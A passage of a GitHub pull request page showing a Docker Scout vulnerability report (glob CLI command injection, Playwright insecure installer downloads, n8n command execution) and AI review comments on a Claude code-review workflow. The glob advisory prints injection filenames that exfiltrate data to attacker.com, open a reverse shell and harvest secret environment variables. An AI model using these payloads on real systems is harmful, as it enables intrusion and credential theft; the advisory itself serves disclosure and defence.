
  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
critical: 0 high: 1 medium: 0 low: 0 openssl 3.5.2-r0 (apk)

pkg:apk/alpine/openssl@3.5.2-r0?os_name=alpine&os_version=3.22

high : CVE--2025--9230

Affected range<3.5.4-r0
Fixed version3.5.4-r0
EPSS Score0.025%
EPSS Percentile3rd percentile
Description
critical: 0 high: 1 medium: 0 low: 0 glob 10.4.5 (npm)

pkg:npm/glob@10.4.5

high 7.5: CVE--2025--64756 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range>=10.2.0
<10.5.0
Fixed version11.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.130%
EPSS Percentile27th percentile
Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
critical: 0 high: 1 medium: 0 low: 0 expat 2.7.1-r0 (apk)

pkg:apk/alpine/expat@2.7.1-r0?os_name=alpine&os_version=3.22

high : CVE--2025--59375

Affected range<2.7.2-r0
Fixed version2.7.2-r0
EPSS Score0.121%
EPSS Percentile26th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 playwright 1.54.2 (npm)

pkg:npm/playwright@1.54.2

high 8.7: CVE--2025--59288 Improper Verification of Cryptographic Signature

Affected range<1.55.1
Fixed version1.55.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
EPSS Score0.032%
EPSS Percentile5th percentile
Description

Summary

Use of curl with the -k (or --insecure) flag in installer scripts allows attackers to deliver arbitrary executables via Man-in-the-Middle (MitM) attacks. This can lead to full system compromise, as the downloaded files are installed as privileged applications.

Details

The following scripts in the microsoft/playwright repository at commit bee11cbc28f24bd18e726163d0b9b1571b4f26a8 use curl -k to fetch and install executable packages without verifying the authenticity of the SSL certificate:

In each case, the shell scripts download a browser installer package using curl -k and immediately install it:

curl --retry 3 -o ./<pkg-file> -k <url>
sudo installer -pkg /tmp/<pkg-file> -target /

Disabling SSL verification (-k) means the download can be intercepted and replaced with malicious content.

PoC

A high-level exploitation scenario:

  1. An attacker performs a MitM attack on a network where the victim runs one of these scripts.
  2. The attacker intercepts the HTTPS request and serves a malicious package (for example, a trojaned browser installer).
  3. Because curl -k is used, the script downloads and installs the attacker's payload without any certificate validation.
  4. The attacker's code is executed with system privileges, leading to full compromise.

No special configuration is needed: simply running these scripts on any untrusted or hostile network is enough.

Impact

This is a critical Remote Code Execution (RCE) vulnerability due to improper SSL certificate validation (CWE-295: Improper Certificate Validation). Any user or automation running these scripts is at risk of arbitrary code execution as root/admin, system compromise, data theft, or persistent malware installation. The risk is especially severe because browser packages are installed with elevated privileges and the scripts may be used in CI/CD or developer environments.

Fix

Credit

  • This vulnerability was uncovered by tooling by Socket
  • This vulnerability was confirmed by @evilpacket
  • This vulnerability was reported by @JLLeitschuh at Socket

Disclosure

critical: 0 high: 1 medium: 0 low: 0 n8n-nodes-base 1.107.0 (npm)

pkg:npm/n8n-nodes-base@1.107.0

high 8.8: GHSA--365g--vjw2--grx8 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range<=1.113.0
Fixed versionNot Fixed
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description

Impact

The Execute Command node in n8n allows execution of arbitrary commands on the host system where n8n runs. While this functionality is intended for advanced automation and can be useful in certain workflows, it poses a security risk if all users with access to the n8n instance are not fully trusted.

An attacker—either a malicious user or someone who has compromised a legitimate user account—could exploit this node to run arbitrary commands on the host machine, potentially leading to data exfiltration, service disruption, or full system compromise.

This vulnerability affects all n8n deployments where:

  • The Execute Command node is enabled, and
  • Not all user accounts are strictly controlled and trusted.

n8n.cloud is not impacted.

Patches

No code changes have been made to alter the behavior of the Execute Command node. The recommended mitigation is to disable the node by default in environments where it is not explicitly required.

Future n8n versions may change the default availability of this node.

Workarounds

Administrators can disable the Execute Command node by setting the following environment variable before starting n8n:

export NODES_EXCLUDE: "[\"n8n-nodes-base.executeCommand\"]"

References

n8n docs: Execute Command
n8n docs: Blocking nodes

critical: 0 high: 1 medium: 0 low: 0 curl 8.14.1-r1 (apk)

pkg:apk/alpine/curl@8.14.1-r1?os_name=alpine&os_version=3.22

high : CVE--2025--9086

Affected range<8.14.1-r2
Fixed version8.14.1-r2
EPSS Score0.073%
EPSS Percentile18th percentile
Description

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 5

🧹 Nitpick comments (6)
.github/workflows/claude-review.yml (6)

34-47: Simplify deeply nested job condition for readability.

The conditional logic is difficult to parse due to heavy nesting and repeated parentheses. Refactor to use a more readable format or break into intermediate variables for clarity.

-    if: >-
-      (
-        github.event_name == 'pull_request'
-      ) || (
-        github.event_name == 'issue_comment' &&
-        github.event.comment &&
-        contains(github.event.comment.body, '@claude')
-      ) || (
-        github.event_name == 'pull_request_review_comment' &&
-        github.event.comment &&
-        contains(github.event.comment.body, '@claude')
-      ) || (
-        github.event_name == 'workflow_dispatch'
-      )
+    if: |
+      github.event_name == 'pull_request' ||
+      (github.event_name == 'issue_comment' && 
+       github.event.comment && 
+       contains(github.event.comment.body, '@claude')) ||
+      (github.event_name == 'pull_request_review_comment' && 
+       github.event.comment && 
+       contains(github.event.comment.body, '@claude')) ||
+      github.event_name == 'workflow_dispatch'

76-119: Refactor trigger determination from shell to JavaScript for consistency and portability.

The "Determine Claude trigger" step uses a bash case statement with regex matching via grep -iqE. Refactor to JavaScript (consistent with other steps) for better portability across runner environments and easier maintenance.

Example refactor:

// Determine trigger
let shouldRun = false;
const eventName = context.eventName;
const commentBody = context.payload.comment?.body || '';

if (eventName === 'pull_request') {
  shouldRun = true;
} else if ((eventName === 'issue_comment' || eventName === 'pull_request_review_comment') && 
           /\s*@claude\s+review\b/i.test(commentBody)) {
  shouldRun = eventName === 'pull_request_review_comment' ||
              context.payload.issue?.pull_request != null;
} else if (eventName === 'workflow_dispatch') {
  shouldRun = true;
}

core.setOutput('should_run', String(shouldRun));

380-406: Robust JSON parsing is good; consider adding explicit logging for parsing failures.

Lines 380–406 implement a comprehensive JSON extraction strategy (direct parse → fenced JSON → substring extraction). This is a good defensive practice. However, add informative debug logs for each fallback attempt to aid troubleshooting when parsing fails.

  const tryParseJson = (input) => {
    try {
      return JSON.parse(input);
    } catch (error) {
+     core.debug(`JSON parse failed: ${error.message}`);
      return null;
    }
  };

  let reviewPayload = tryParseJson(textPayload);
+ if (!reviewPayload) {
+   core.info('Attempting to extract JSON from fenced code block...');
+ }
  if (!reviewPayload) {
    const jsonBlockMatch = textPayload.match(/```json\s*([\s\S]*?)```/i) || textPayload.match(/```\s*([\s\S]*?)```/);
    if (jsonBlockMatch && jsonBlockMatch[1]) {
      reviewPayload = tryParseJson(jsonBlockMatch[1].trim());

429-432: Silently skipping reviews with no actionable feedback may mask issues.

Lines 429–432 return early if there are no comments, summary, or cost data. While this prevents posting empty reviews, it also silently skips reporting when Claude returns an unexpected empty response or when cost tracking is disabled.

Consider logging a clear message to the workflow summary so users are aware that Claude ran but found no issues (vs. Claude failing or not running).

  if (comments.length === 0 && !summary && totalCost === null) {
    core.info('Claude returned no actionable feedback.');
+   await core.summary
+     .addHeading('Claude Code Review')
+     .addRaw('No issues detected by Claude.')
+     .write();
    return;
  }

495-532: Sticky cost-summary comment logic is reasonable; consider adding idempotency marker for robustness.

Lines 495–532 create or update a sticky cost-summary comment. The logic correctly checks for existing comments by marker and skips updates if content hasn't changed. However, if the workflow runs in quick succession, race conditions could cause duplicate or out-of-order updates.

Consider adding a unique workflow-run identifier or timestamp to the marker or exploring GitHub's PR review comments API for more atomic operations.


135-209: PR context resolution logic is comprehensive but complex; add inline documentation.

Lines 135–209 implement multi-level fallback logic to extract PR number and metadata from various GitHub event payloads. The logic is sound and handles edge cases well. However, the code lacks inline comments explaining the resolution precedence and why each fallback is necessary.

Add brief comments to document the rationale for each fallback step to aid future maintainers.

  const parseNumberFromUrl = (url) => {
    if (!url || typeof url !== 'string') {
      return 0;
    }
    const segments = url.trim().split('/').filter(Boolean);
    const last = segments[segments.length - 1];
    const value = Number(last);
    return Number.isFinite(value) ? value : 0;
  };

  let prNumber = Number(process.env.PR_NUMBER || 0);
+ // Try various sources in order of precedence
  const issueNumberEnv = Number(process.env.ISSUE_NUMBER || 0);
  
+ // Source 1: Direct environment variable (manual dispatch)
  if (!prNumber && context.payload.pull_request?.number) {
📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between d1e2026 and 60f134d.

📒 Files selected for processing (1)
  • .github/workflows/claude-review.yml (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Request review if needed after creating or updating a pull request

Applied to files:

  • .github/workflows/claude-review.yml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
.github/workflows/claude-review.yml (1)

264-264: Clarify impact of continue-on-error: true on error reporting.

Line 264 sets continue-on-error: true on the Claude action, which masks failures and allows the workflow to proceed. The downstream "Process Claude review" step checks for steps.claude_review.outcome == 'success', but this condition may not catch all failure modes.

Document the expected behavior when Claude action fails (e.g., API errors, timeouts) and ensure error visibility is preserved via workflow logs or summaries.

- Removed unnecessary blank lines for cleaner code.
- Reduced the maximum turns for Claude's review process from 25 to 5, optimizing performance.
- Ensured consistent formatting in the workflow file.

These changes enhance the readability and efficiency of the Claude review workflow.
- Changed the ANTHROPIC_MODEL environment variable from a specific version to the latest version for improved performance and compatibility.

This update ensures the workflow utilizes the most current capabilities of the Claude model.
- Introduced a new environment variable `CLAUDE_REVIEW_DOC_URL` to dynamically set the documentation URL for the Claude review setup.
- Updated the workflow to utilize this variable, enhancing flexibility and maintainability of the documentation link.

These changes improve the workflow's adaptability to changes in documentation location.
@speedandfunction speedandfunction deleted a comment from coderabbitai bot Nov 12, 2025
- Removed the environment variable `CLAUDE_REVIEW_DOC_URL` and replaced it with a hardcoded URL for the Claude review setup documentation.
- This change simplifies the workflow by providing a direct link to the documentation, ensuring users have immediate access to the necessary setup instructions.

These modifications enhance the clarity and accessibility of the documentation for users of the Claude review workflow.
@speedandfunction speedandfunction deleted a comment from coderabbitai bot Nov 12, 2025
- Added a visual comment prefix featuring the Claude AI symbol to improve the onboarding experience.
- Simplified the onboarding comment structure by removing unnecessary lines and clarifying instructions for triggering a Claude review.
- Ensured consistent formatting and improved clarity in the setup reminder comment.

These changes aim to enhance user experience and streamline the onboarding process for the Claude review workflow.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (2)
.github/workflows/claude-review.yml (2)

207-245: Consider parameterizing the documentation URL to avoid hardcoding internal links.

Line 214 contains a hardcoded internal wiki URL (https://wiki.gluzdov.com/...) that won't be accessible outside your organization. For a public/reusable workflow, parameterize this via an environment variable or workflow input, or link to public documentation instead.

-            const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || 'https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk';
+            const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || 'https://github.com/speedandfunction/automatization/wiki/Claude-Review-Setup';

Alternatively, add a workflow input at the top of the file to allow users to override this at runtime.


1-535: Overall workflow structure is well-thought-out for initial release.

The workflow is modular, has clear separation of concerns (trigger → context → API key → checkout → execute → process → upload), and includes thoughtful error handling and logging. The permission model is appropriately scoped. Key strengths:

  • Proper gating of steps based on prior outputs (prevents cascading failures).
  • Multiple recovery paths (graceful degradation when PR context or API key is unavailable).
  • Reasonable defaults and optional inputs for flexibility.

For future iterations, consider:

  • Adding observability/metrics (e.g., execution duration, average cost per PR).
  • Documenting the trust model and security assumptions in a README or CONTRIBUTING guide.
  • Setting up alerts if Claude API calls start failing frequently.

Based on learnings, keeping the implementation straightforward at this stage is appropriate; these refinements can be added when the workflow matures or gains adoption.

📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 60f134d and 9ea853e.

📒 Files selected for processing (1)
  • .github/workflows/claude-review.yml (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Request review if needed after creating or updating a pull request

Applied to files:

  • .github/workflows/claude-review.yml
🪛 GitHub Check: CodeQL
.github/workflows/claude-review.yml

[failure] 247-255: Checkout of untrusted code in trusted context
Potential execution of untrusted code on a privileged workflow (issue_comment)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (7)
.github/workflows/claude-review.yml (7)

50-70: Onboarding message is clear and actionable.

The updated message correctly informs users on how to trigger a review via the @claude review command. This is an improvement over the previous placeholder.


72-115: Trigger logic is well-structured and handles multiple event types appropriately.

Bash logic correctly distinguishes between PR comments, PR review comments, and workflow_dispatch triggers, with proper validation for the @claude review command pattern and PR context verification.


131-205: PR context resolution is robust with graceful fallback handling.

The multi-layered resolution logic (PR number from multiple sources, safe URL parsing, fallback message) ensures the workflow proceeds even if the PR context cannot be fully resolved. Good defensive programming.


247-253: Checkout of PR code requires careful trust boundary consideration.

This step checks out code from potentially untrusted PR branches (forks). While the Claude action runs in a sandbox and your workflow permissions are limited (read contents, write PRs), CodeQL flagged this as a potential security risk. For production use, consider:

  • Adding a concurrency/risk note in your workflow or documentation clarifying the trust model.
  • Limiting triggered reviews to trusted branches (e.g., only on @claude review from repository members, not arbitrary forks).
  • Monitoring Claude action dependencies for vulnerabilities.

For an early-stage workflow, this is acceptable, but document the assumptions for future maintainers.


255-302: Claude action configuration looks sound; max_turns and tool allowlist are appropriate.

Line 302 sets max_turns: 5, which is a good balance for cost control. The allowed_tools list (Bash, View, Glob, Grep, Read) is reasonable for a code review. The JSON schema constraint (lines 280–295) ensures Claude outputs structured, parsable reviews.

Minor note: Line 261 uses claude-3-5-sonnet-latest—while this format is supported by third-party API providers, verify it's accepted by the anthropics/claude-code-base-action. If the action fails on first run, consider switching to a pinned version (e.g., claude-3-5-sonnet-20241022) as a fallback.


304-526: Review processing and result handling is comprehensive and defensive.

The script robustly handles:

  • Missing or unparseable execution files
  • Multiple JSON extraction strategies (direct parse, code block, substring extraction)
  • Graceful fallback when PR number is unavailable
  • Cost tracking and sticky comment updates to avoid duplicate noise

The inline comment filtering (lines 405–421) correctly validates path, line number, and body before posting, and the cost summary is posted only once (with update logic for re-runs). Well done.


528-534: Artifact upload is conditional and respects retention configuration.

The upload step correctly gates on the presence of an execution file and uses a repository variable (PR_REVIEW_ARTIFACT_RETENTION_DAYS, default 7) for retention. Good practice for managing storage.

…users

- Updated the workflow to ensure that only users with the association of OWNER, MEMBER, or COLLABORATOR can trigger a review request using the '@claude review' command in issue and PR comments.
- Enhanced feedback messages to clarify when a comment is skipped due to author association or if the comment is not on a PR.

These changes improve the security and integrity of the review process by limiting access to trusted contributors.
…ase action

- Changed the action reference from a beta version to a specific commit hash for the `claude-code-base-action`, ensuring stability and predictability in the workflow execution.

This update enhances the reliability of the Claude review process by locking the action to a known state.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
.github/workflows/claude-review.yml (1)

213-251: Avoid hardcoding internal wiki URLs; use environment configuration or public documentation.

Line 220 contains a hardcoded URL to an internal wiki (https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk). While the code does provide an environment variable fallback (process.env.CLAUDE_REVIEW_DOC_URL ||), hardcoding internal infrastructure URLs introduces fragility: the wiki could move, be deprecated, or become inaccessible, breaking the setup reminder for users.

Store the documentation URL as a repository secret, variable, or organization setting instead of hardcoding it:

            const marker = '<!-- claude-review-setup-reminder -->';
-           const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || 'https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk';
+           const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || 'https://docs.example.com/claude-review-setup';

Alternatively, define CLAUDE_REVIEW_DOC_URL as an organization/repository variable with a public or internal-only URL, and fail gracefully if it's not set.

🧹 Nitpick comments (1)
.github/workflows/claude-review.yml (1)

265-265: Use version tags instead of specific commit hashes for action pins.

Line 265 pins the Claude action to a specific commit hash (@e8132bc5e637a42c27763fc757faa37e1ee43b34). While this ensures reproducibility, it prevents automatic security patches and updates. Commit hashes are also harder to audit and review compared to semantic version tags.

Migrate to a version tag (e.g., @v3.5.0, @v3.5, or @latest):

-       uses: anthropics/claude-code-base-action@e8132bc5e637a42c27763fc757faa37e1ee43b34
+       uses: anthropics/claude-code-base-action@v3.5

If pinning to a specific version for stability, prefer a minor version tag (e.g., @v3.5) to receive patch updates, and review the action's release notes quarterly.

📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 9ea853e and 38a0cd6.

📒 Files selected for processing (1)
  • .github/workflows/claude-review.yml (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Request review if needed after creating or updating a pull request

Applied to files:

  • .github/workflows/claude-review.yml
🪛 GitHub Check: CodeQL
.github/workflows/claude-review.yml

[failure] 253-261: Checkout of untrusted code in trusted context
Potential execution of untrusted code on a privileged workflow (issue_comment)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (5)
.github/workflows/claude-review.yml (5)

253-259: Checkout of fork code in privileged context — verify risk is acceptable.

The workflow checks out code from steps.pr_context.outputs.head_repo (potentially a fork) in a step that has access to the ANTHROPIC_API_KEY secret. GitHub's CodeQL has flagged this as "untrusted code in trusted context." While the secret should not be directly visible to the code, there are risks of accidental leakage through logs, error output, or debugging steps.

For pull request events (once the trigger bug is fixed), this means fork code runs with secrets available. Consider:

  • Running Claude analysis in a separate job with no secret access, then using the results in a privileged job.
  • Using GitHub's OIDC token to avoid storing long-lived secrets.
  • Documenting the security boundary and accepting the risk if it's acceptable.

If the current design is intentional, add a comment documenting the security decision:

         - name: Checkout repository
           if: ${{ steps.trigger.outputs.should_run == 'true' && steps.claude_token.outputs.available == 'true' }}
+          # Note: This step checks out fork code in a context with secret access.
+          # The API key should not leak via code execution, but risk should be monitored.
           uses: actions/checkout@v4

137-211: PR context resolution is robust with good fallback handling.

The step comprehensively resolves PR context across multiple event types with fallback logic (URL parsing, cascade through environment variables and payload objects). Graceful handling for missing PR numbers is appropriate.


310-532: Result processing is defensive and well-structured.

The step implements comprehensive error handling and graceful degradation:

  • Multiple JSON parsing fallback strategies (direct, code block, substring extraction)
  • Field validation before posting comments (path, line, body required)
  • Upsert pattern for sticky cost summary (update if exists and different, create otherwise)
  • Informative logging at each decision point
  • Artifacts written for audit trail

22-30: Workflow concurrency and permissions are well-configured.

Concurrency group prevents duplicate runs per PR/issue with cancel-in-progress enabled. Permissions are narrowly scoped to the minimum required (read code, write reviews, read actions). Self-hosted runner requirement should be documented in the repository's setup guide.


50-70: Onboarding message is clear and user-friendly.

The note appropriately guides users to invoke the @claude review command and includes helpful branding. This addresses the prior review feedback effectively.

- Enhanced the Claude review workflow by adding support for pull request events, allowing the workflow to trigger and provide feedback when a pull request is created or updated.
- This addition improves the responsiveness of the review process, ensuring that pull requests are acknowledged and processed appropriately.

These changes aim to streamline the review workflow and enhance user interaction during pull request events.
@github-actions
Copy link

Claude Claude

Claude Review Setup Required

The Claude review workflow is disabled because ANTHROPIC_API_KEY is not configured.

Please follow the setup guide: https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk

…andling

- Introduced environment variables for comment prefixes and markers to improve flexibility and maintainability in the Claude review workflow.
- Updated the comment handling logic to ensure consistent formatting and improved clarity in onboarding and cost summary comments.
- Added error handling for Docker Scout image scanning to prevent workflow failures.

These changes aim to streamline the review process and enhance the overall robustness of the workflow.
Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude\n\n## Claude Code Review

The changes enhance security by preventing fork PR execution on self-hosted runners and improve maintainability through environment variable consolidation. All changes appear to be defensive security improvements.

Estimated cost: $0.12153

@github-actions
Copy link

github-actions bot commented Nov 12, 2025

Claude Claude

Claude Code Cost Summary

  • Outcome: success
  • Estimated cost: $0.13415

- Updated the author association retrieval in the Claude review workflow to ensure it correctly checks the pull request's author association, improving the accuracy of user permissions during review requests.

This change enhances the reliability of the review process by ensuring proper user validation.
- Removed unnecessary newline from the COMMENT_PREFIX environment variable in the Claude review workflow, enhancing the clarity and consistency of comments generated during the review process.

This change aims to streamline the output of the workflow and improve user experience.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
.github/workflows/claude-review.yml (1)

279-279: Replace unsupported model alias with valid Anthropic alias.

The string "claude-3-5-sonnet-latest" is not a recognized Anthropic model alias. Valid aliases are: sonnet, opus, haiku, default, opusplan, or full model-version IDs.

Option 1 (recommended):

-          ANTHROPIC_MODEL: claude-3-5-sonnet-latest
+          ANTHROPIC_MODEL: sonnet

Option 2 (if you require a pinned version):
Use a full model-version ID like claude-3-5-sonnet-20240620 instead.

📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 38a0cd6 and a6a7513.

📒 Files selected for processing (2)
  • .github/workflows/claude-review.yml (1 hunks)
  • .github/workflows/code-quality.yml (2 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
